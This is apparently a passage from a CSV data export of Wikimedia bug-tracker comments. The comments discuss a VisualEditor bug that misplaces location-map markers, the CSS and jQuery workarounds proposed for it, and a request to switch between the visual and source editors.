just get rid of absolute positioned elements"". Usually, when people write ""get rid of elements"", they mean ""the elements themselves"", not ""keep the elements but get rid of the technology used"". Don't blame your errors on others please. I have no problem with someone correcting his position or retracting earlier statements, and I'm not the type to claim for all eternity that you want to get rid of these elements if you clarify that that was not what you intended; but then just state that what you said was not what you meant, not that the problem lies with the reader who ""assumed"" something incorrectly."
255709,VisualEditor: Location map template does not display correctly,"> are so wrong that I feel it may be hard to explain to you what is the problem with it.

I think you assumed that I meant the elements/templates themselves. You assumed incorrect. I meant the technology of absolute positioning that is use by these templates and replace them with something more sustainable. They currently also break in mobile and are very sensitive to skin changes for instance. The technique used to place them is problematic (and has been known to be problematic for many years, it's part of why I consolidated those hacks into https://en.wikipedia.org/wiki/Template%3ATop_icon, so that we could replace them at some point). The same technique has also been used for several spam attacks on the wiki.

And i'm slightly offended by your attack on me as a person. A volunteer who probably spends more time on en.wp than doing development.",,,1384941212,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,2.0,0.5,0.5,1.0,0.0,6.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,4.5,0.5,5.0,14.0,0.5,1.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,6.5,3.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.0,0.0,0.5,0.5,14.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,1.5,0.0,0.5,0.0,1.0,0.0,4.5,3.0,7.0,2.5,2.0,6.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.5,14.0,0.5,0.0,0.0,0.0,9.5,0.0,2.0,1.5,3.0,0.5,1.0,0.0,0.0,4.295674044265594,0.8444668008048289,"QUOTE

I think you assumed that I meant the elements/templates themselves. You assumed incorrect. I meant the technology of absolute positioning that is use by these templates and replace them with something more sustainable. They currently also break in mobile and are very sensitive to skin changes for instance. The technique used to place them is problematic (and has been known to be problematic for many years, it's part of why I consolidated those hacks into URL so that we could replace them at some point). The same technique has also been used for several spam attacks on the wiki.

And i'm slightly offended by your attack on me as a person. A volunteer who probably spends more time on en.wp than doing development."
255702,VisualEditor: Location map template does not display correctly,"**Wikifram** wrote:

The DJ, thanks for your response, but I fear that it is again symptomatic of the incorrect view you and other devs seem to have. VisualEditor is ''not'' the goal, it is a means to make editing easier. Comments like ""Ideally, we would just get rid of absolute positioned elements (.topicon, coordinates, FA/GA etc icons), but that's probably going to be near impossible."" are so wrong that I feel it may be hard to explain to you what is the problem with it. There is absolutely ''nothing'' ideal about getting rid of these elements, they are a very useful aspect of maps and other position-defined elements. If VE can't handle these, then VE has to change or an alternative method that can be used in view mode and VE mode needs to be found. But ""VE can't handle this, so we should get rid of these elements""? No, that's the opposite mindset of what we actually need. 

As for ""nor is it extremely visible to the uninitiated."", have you looked at pages like [[:en:FC Barcelona]] or [[:en:ant]]? I think most of the ""uninitiated"" would notice some differences in the display between [[:fr:Azincourt]] and [https://fr.wikipedia.org/wiki/Azincourt?veaction=edit this] (cause this bug happens on all wikis, not just here...) 

This bug happens on about 1 in 5 pages. I don't see how this can be both ""low"" and ""minor"" in importance, either one should be a lot higher (a minor aspect that affects an awful lot of pages on all wiki versions is a lot more important than a minor aspect that only affects a few hundred pages, obviously). On a fair number of pages (e.g. the football kit ones, 25000 on enwiki alone, but also e.g. [https://fi.wikipedia.org/wiki/Paris_Saint-Germain?veaction=edit here]), this bug (assuming it is the same one) is very pronounced, so not so minor anyway.",,,1384938669,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,20,,0.8,0.0,0.8,0.4,1.2,6.4,2.6,0.0,0.0,0.2,1.4,1.4,0.0,0.2,0.2,1.4,0.0,7.4,8.8,0.2,1.2,0.4,0.0,0.0,0.0,0.0,0.0,0.2,0.6,0.4,0.0,5.4,1.6,1.2,0.8,0.8,0.2,0.0,0.8,0.2,0.0,0.2,0.2,1.4,0.0,0.2,0.0,0.6,0.2,9.4,1.2,1.0,0.0,1.8,0.0,0.0,0.2,0.2,0.4,0.2,0.0,1.0,0.0,0.4,0.0,0.6,0.2,4.4,3.6,5.6,0.8,2.6,7.4,0.0,0.0,0.0,0.0,3.4,0.2,1.4,0.0,3.8,8.8,2.4,0.4,2.4,0.0,3.8,0.0,1.2,2.2,0.0,0.6,0.6,0.2,2.0,3.4584567901234573,0.7405864197530864,"**Wikifram** wrote:

The DJ, thanks for your response, but I fear that it is again symptomatic of the incorrect view you and other devs seem to have. VisualEditor is ''not'' the goal, it is a means to make editing easier. Comments like ""Ideally, we would just get rid of absolute positioned elements (.topicon, coordinates, FA/GA etc icons), but that's probably going to be near impossible."" are so wrong that I feel it may be hard to explain to you what is the problem with it. There is absolutely ''nothing'' ideal about getting rid of these elements, they are a very useful aspect of maps and other position-defined elements. If VE can't handle these, then VE has to change or an alternative method that can be used in view mode and VE mode needs to be found. But ""VE can't handle this, so we should get rid of these elements""? No, that's the opposite mindset of what we actually need. 

As for ""nor is it extremely visible to the uninitiated."", have you looked at pages like [[:en:FC Barcelona]] or [[:en:ant]]? I think most of the ""uninitiated"" would notice some differences in the display between [[:fr:Azincourt]] and [URL this] (cause this bug happens on all wikis, not just here...) 

This bug happens on about 1 in 5 pages. I don't see how this can be both ""low"" and ""minor"" in importance, either one should be a lot higher (a minor aspect that affects an awful lot of pages on all wiki versions is a lot more important than a minor aspect that only affects a few hundred pages, obviously). On a fair number of pages (e.g. the football kit ones, 25000 on enwiki alone, but also e.g. [URL here]), this bug (assuming it is the same one) is very pronounced, so not so minor anyway."
255694,VisualEditor: Location map template does not display correctly,"By investigating the railway template problem, I think I identified 3 Parsoid bugs that were contributing to those problems on those pages. Most important is bug 57258. The others were bug 57251 and bug 57252.

These are very distinct issues from the location map issue.",,,1384880301,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,24.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,8.0,14.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,4.450980392156863,0.8235294117647058,"By investigating the railway template problem, I think I identified 3 Parsoid bugs that were contributing to those problems on those pages. Most important is bug 57258. The others were bug 57251 and bug 57252.

These are very distinct issues from the location map issue."
255686,VisualEditor: Location map template does not display correctly,"For Location map, this is caused solely by:

.ve-ce-protectedNode, .ve-ce-protectedNode * {
position: relative !important;
top: 0 !important;
left: 0 !important;
bottom: 0 !important;
right: 0 !important;
}

Disabling it returns both the markers and the coordinates back to their original position. However, that also makes all content outside of the main box (you can click title coordinates that are generated by an info box).

Conclusion, this was probably done to counter the effects of absolute positioned elements and causes 'fallout' for relative positioned elements. One way to fix this is with a bit of JS.

var elements = $("".ve-ce-protectedNode"").filter(function() {
      if( $(this).css(""position"") === ""absolute"" ) {
            $(this).addClass(""evilabsoluteitems"");
      }
});

And then assign the above css only to those elements. This is probably a rather 'expensive' operation. Ideally, we would just get rid of absolute positioned elements (.topicon, coordinates, FA/GA etc icons), but that's probably going to be near impossible. A third option might be to add a classname to all these elements that VE can recognize and then apply this styling to it.

The question of the railway template seems more complex. I have a suspicion that there is actually a coding error in those templates, since I see problems with columns/rows counts on those pages. That would also explain why they take long to render in parsoid, it likely makes it complex to render the pages.",,,1384872097,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,0.5,0.0,0.0,0.75,0.0,6.75,1.0,0.0,0.0,0.25,0.75,1.0,0.0,0.25,0.25,0.75,0.0,5.75,7.5,0.0,1.5,0.0,0.25,0.0,0.25,0.0,0.0,0.75,0.75,0.5,0.0,4.25,0.5,1.25,0.5,0.25,0.25,0.0,0.5,0.0,0.0,0.5,0.0,3.25,0.5,0.0,0.25,0.25,0.0,10.0,1.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.25,1.0,0.0,0.0,0.25,0.25,0.25,4.0,2.0,4.75,1.25,1.5,8.0,0.0,0.0,1.25,0.0,4.0,0.0,1.75,0.0,2.75,7.5,1.75,0.0,2.25,0.0,2.75,0.0,0.75,2.0,0.0,0.75,0.25,0.0,0.75,3.890620295091839,0.6974555856669677,"For Location map, this is caused solely by:

.ve-ce-protectedNode, .ve-ce-protectedNode * {
position: relative !important;
top: 0 !important;
left: 0 !important;
bottom: 0 !important;
right: 0 !important;
}

Disabling it returns both the markers and the coordinates back to their original position. However, that also makes all content outside of the main box (you can click title coordinates that are generated by an info box).

Conclusion, this was probably done to counter the effects of absolute positioned elements and causes 'fallout' for relative positioned elements. One way to fix this is with a bit of JS.

var elements = $("".ve-ce-protectedNode"").filter(function() {
      if( $(this).css(""position"") === ""absolute"" ) {
            $(this).addClass(""evilabsoluteitems"");
      }
});

And then assign the above css only to those elements. This is probably a rather 'expensive' operation. Ideally, we would just get rid of absolute positioned elements (.topicon, coordinates, FA/GA etc icons), but that's probably going to be near impossible. A third option might be to add a classname to all these elements that VE can recognize and then apply this styling to it.

The question of the railway template seems more complex. I have a suspicion that there is actually a coding error in those templates, since I see problems with columns/rows counts on those pages. That would also explain why they take long to render in parsoid, it likely makes it complex to render the pages."
255679,VisualEditor: Location map template does not display correctly,"Probably a separate problem, which may already be filed in buzila, but here are a few railway templates that have extreme layout issues.
https://en.wikipedia.org/w/index.php?title=Ontario_Northland_Railway&veaction=edit
https://en.wikipedia.org/w/index.php?title=Brunswick%E2%80%93Magdeburg_railway&veaction=edit
https://en.wikipedia.org/w/index.php?title=East_Lancashire_Railway&veaction=edit
https://en.wikipedia.org/w/index.php?title=Channel_Tunnel&veaction=edit
https://en.wikipedia.org/w/index.php?title=Ravenglass_and_Eskdale_Railway&veaction=edit",,,1380613476,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,13,,3.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,17.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.7222222222222222,"Probably a separate problem, which may already be filed in buzila, but here are a few railway templates that have extreme layout issues.
URL
URL
URL
URL
URL"
255673,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:

Map of Loyalsock State Forest in VE on Chrome 22 Win7

**Attached**: {F11916}",,,1374667210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2413793103448274,0.6896551724137931,"**lunarjam.mcgahan** wrote:

Map of Loyalsock State Forest in VE on Chrome 22 Win7

**Attached**: {F11916}"
255669,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:

VE display of a railway line in Chrome 22 on Win7

**Attached**: {F11915}",,,1374667025,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.103448275862069,0.6896551724137931,"**lunarjam.mcgahan** wrote:

VE display of a railway line in Chrome 22 on Win7

**Attached**: {F11915}"
255667,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:

Also does nasty things to railway line diagrams - see [[South Maitland Railway]].",,,1374666736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.730769230769231,0.8076923076923077,"**lunarjam.mcgahan** wrote:

Also does nasty things to railway line diagrams - see [[South Maitland Railway]]."
255665,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:

For an example of a similar but not identical problem see the map in [[Loyalsock State Forest]]",,,1374665426,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.689655172413793,0.8275862068965517,"**lunarjam.mcgahan** wrote:

For an example of a similar but not identical problem see the map in [[Loyalsock State Forest]]"
255661,VisualEditor: Location map template does not display correctly,"Another fairly large set of 'CE-munging-absolutely-positioned-CSS bug'.  Is there an open bug for that?

https://en.wikipedia.org/wiki/Template:Football_kit",,,1374665092,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2758620689655173,0.8275862068965517,"Another fairly large set of 'CE-munging-absolutely-positioned-CSS bug'.  Is there an open bug for that?

URL"
255657,VisualEditor: Location map template does not display correctly,"It also appears in other cases, such as this circle which should be over right-most persons face.
https://de.wikipedia.org/wiki/Selbstbildnis_%28Leonardo_da_Vinci%29?veaction=edit",,,1374662867,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.6956521739130435,1.0,"It also appears in other cases, such as this circle which should be over right-most persons face.
URL"
255653,VisualEditor: Location map template does not display correctly,"Problem confirmed on Firefox and Chrome, and can be seen at

https://en.wikipedia.org/wiki/Macumba_Station?veaction=edit

And most other pages (lots and lots) that use

https://en.wikipedia.org/wiki/Template:Location_map

also confirmed for uses of the German template, so I am guessing most other wikis will have the same problem

https://de.wikipedia.org/wiki/Vorlage:Positionskarte

https://en.wikipedia.org/wiki/Azincourt?veaction=edit
https://de.wikipedia.org/wiki/Albany_%28New_York%29?veaction=edit

I cant find another bug that mentions location maps.",,,1374538983,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,3.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,18.0,1.0,6.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,7.0,9.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,3.661764705882353,0.7058823529411765,"Problem confirmed on Firefox and Chrome, and can be seen at

URL

And most other pages (lots and lots) that use

URL

also confirmed for uses of the German template, so I am guessing most other wikis will have the same problem

URL

URL
URL

I cant find another bug that mentions location maps."
255649,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:

This bug also occurs in Chrome Version 27.0.1453.116 m on Windows 7.",,,1372992263,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0476190476190474,0.8571428571428571,"**lunarjam.mcgahan** wrote:

This bug also occurs in Chrome Version 27.0.1453.116 m on Windows 7."
255642,VisualEditor: Location map template does not display correctly,This looks like a CE-munging-absolutely-positioned-CSS bug.,,,1372904578,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6,0.8,This looks like a CE-munging-absolutely-positioned-CSS bug.
52698,Compatiblity between the two editors,"Very often I find that there are some tools that both these editors (VE and the old editor) that I would want to use on the same article. But there is no way to do so.

It would be a very useful feature of the VE if there was some way (direct, or indirect; like through the show preview button) for editors opening an article in VE to be able to edit the same article in the old editor without having to save it or discard the changes made.

Such a feature could also come in handy for other editors who have started editing through VE but couldn't understand the interface/needed to switch because they realised VE could not do an action they wanted

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372890000,1373855340.0,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,False,PHID-TASK-xucom3pjxavt6vbh6mcr,task_description,resolved,True,c1,3,False,False,True,0,,1.0,0.0,1.0,0.0,1.5,6.5,1.0,0.5,0.0,0.5,2.0,0.5,0.0,0.0,1.5,1.0,0.0,4.0,12.0,0.0,3.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,2.0,1.0,0.5,2.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,0.0,0.5,0.0,0.0,1.0,10.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.5,0.0,7.0,2.5,7.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5,12.0,3.5,0.0,0.0,0.0,3.5,0.0,1.0,2.5,0.0,2.0,0.0,0.0,0.0,3.8846153846153846,0.7371794871794872,"Very often I find that there are some tools that both these editors (VE and the old editor) that I would want to use on the same article. But there is no way to do so.

It would be a very useful feature of the VE if there was some way (direct, or indirect; like through the show preview button) for editors opening an article in VE to be able to edit the same article in the old editor without having to save it or discard the changes made.

Such a feature could also come in handy for other editors who have started editing through VE but couldn't understand the interface/needed to switch because they realised VE could not do an action they wanted

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254666,Compatiblity between the two editors,"This is the same as bug 47779

*** This bug has been marked as a duplicate of bug 47779 ***",,,1373855340,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.92,0.6,"This is the same as bug 47779

*** This bug has been marked as a duplicate of bug 47779 ***"
254660,Compatiblity between the two editors,"Oops - just realized there was an external link in his comments.

The picture he mentions in his last sentence can be found here:
http://en.support.files.wordpress.com/2009/07/visual_editor2.png?w=688",,,1373301423,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8275862068965516,0.9310344827586207,"Oops - just realized there was an external link in his comments.

The picture he mentions in his last sentence can be found here:
URL"
254655,Compatiblity between the two editors,"Another editor adds:
If you want to switch (say you started in Visual, but you want to switch to source to get something fancy working), you have to either discard your changes or save a partial edit in visual and create a second edit in source. What I want to see is a means of switching between the two at will within the same edit. Wordpress does something similar where you can type up a blog post to switch between visual rendering and HTML source using tabs surrounding the edit window. You can switch between visual and HTML at will and each will be updated. I want to see the same thing with the Wikipedia VisualEditor. -Thunderforge (talk) 21:32, 6 July 2013 (UTC)

AND

They don't necessarily have to both be visible at the same time (in fact, that might be somewhat confusing and perhaps wouldn't work well on mobile devices and tablets if the VisualEditor is going to be used there). But I would like some way to switch between the two without having to discard an edit. Again, the tabs on the edit window that Wordpress uses are one excellent way to do this: they allow the edit space to be swapped out, providing a compact way to easily switch. A picture of it can be found here. -Thunderforge (talk) 21:40, 6 July 2013 (UTC)",,,1373301385,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,False,,,1,,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,4.666666666666667,1.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,4.0,13.0,0.6666666666666666,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,1.0,0.6666666666666666,5.0,1.6666666666666667,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,12.666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,6.333333333333333,3.3333333333333335,8.333333333333334,1.0,3.6666666666666665,8.0,0.0,0.0,0.0,0.0,8.333333333333334,0.0,3.3333333333333335,0.0,4.333333333333333,13.0,4.666666666666667,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.0,2.3333333333333335,0.0,0.0,0.0,3.8778735632183907,0.7176506443747823,"Another editor adds:
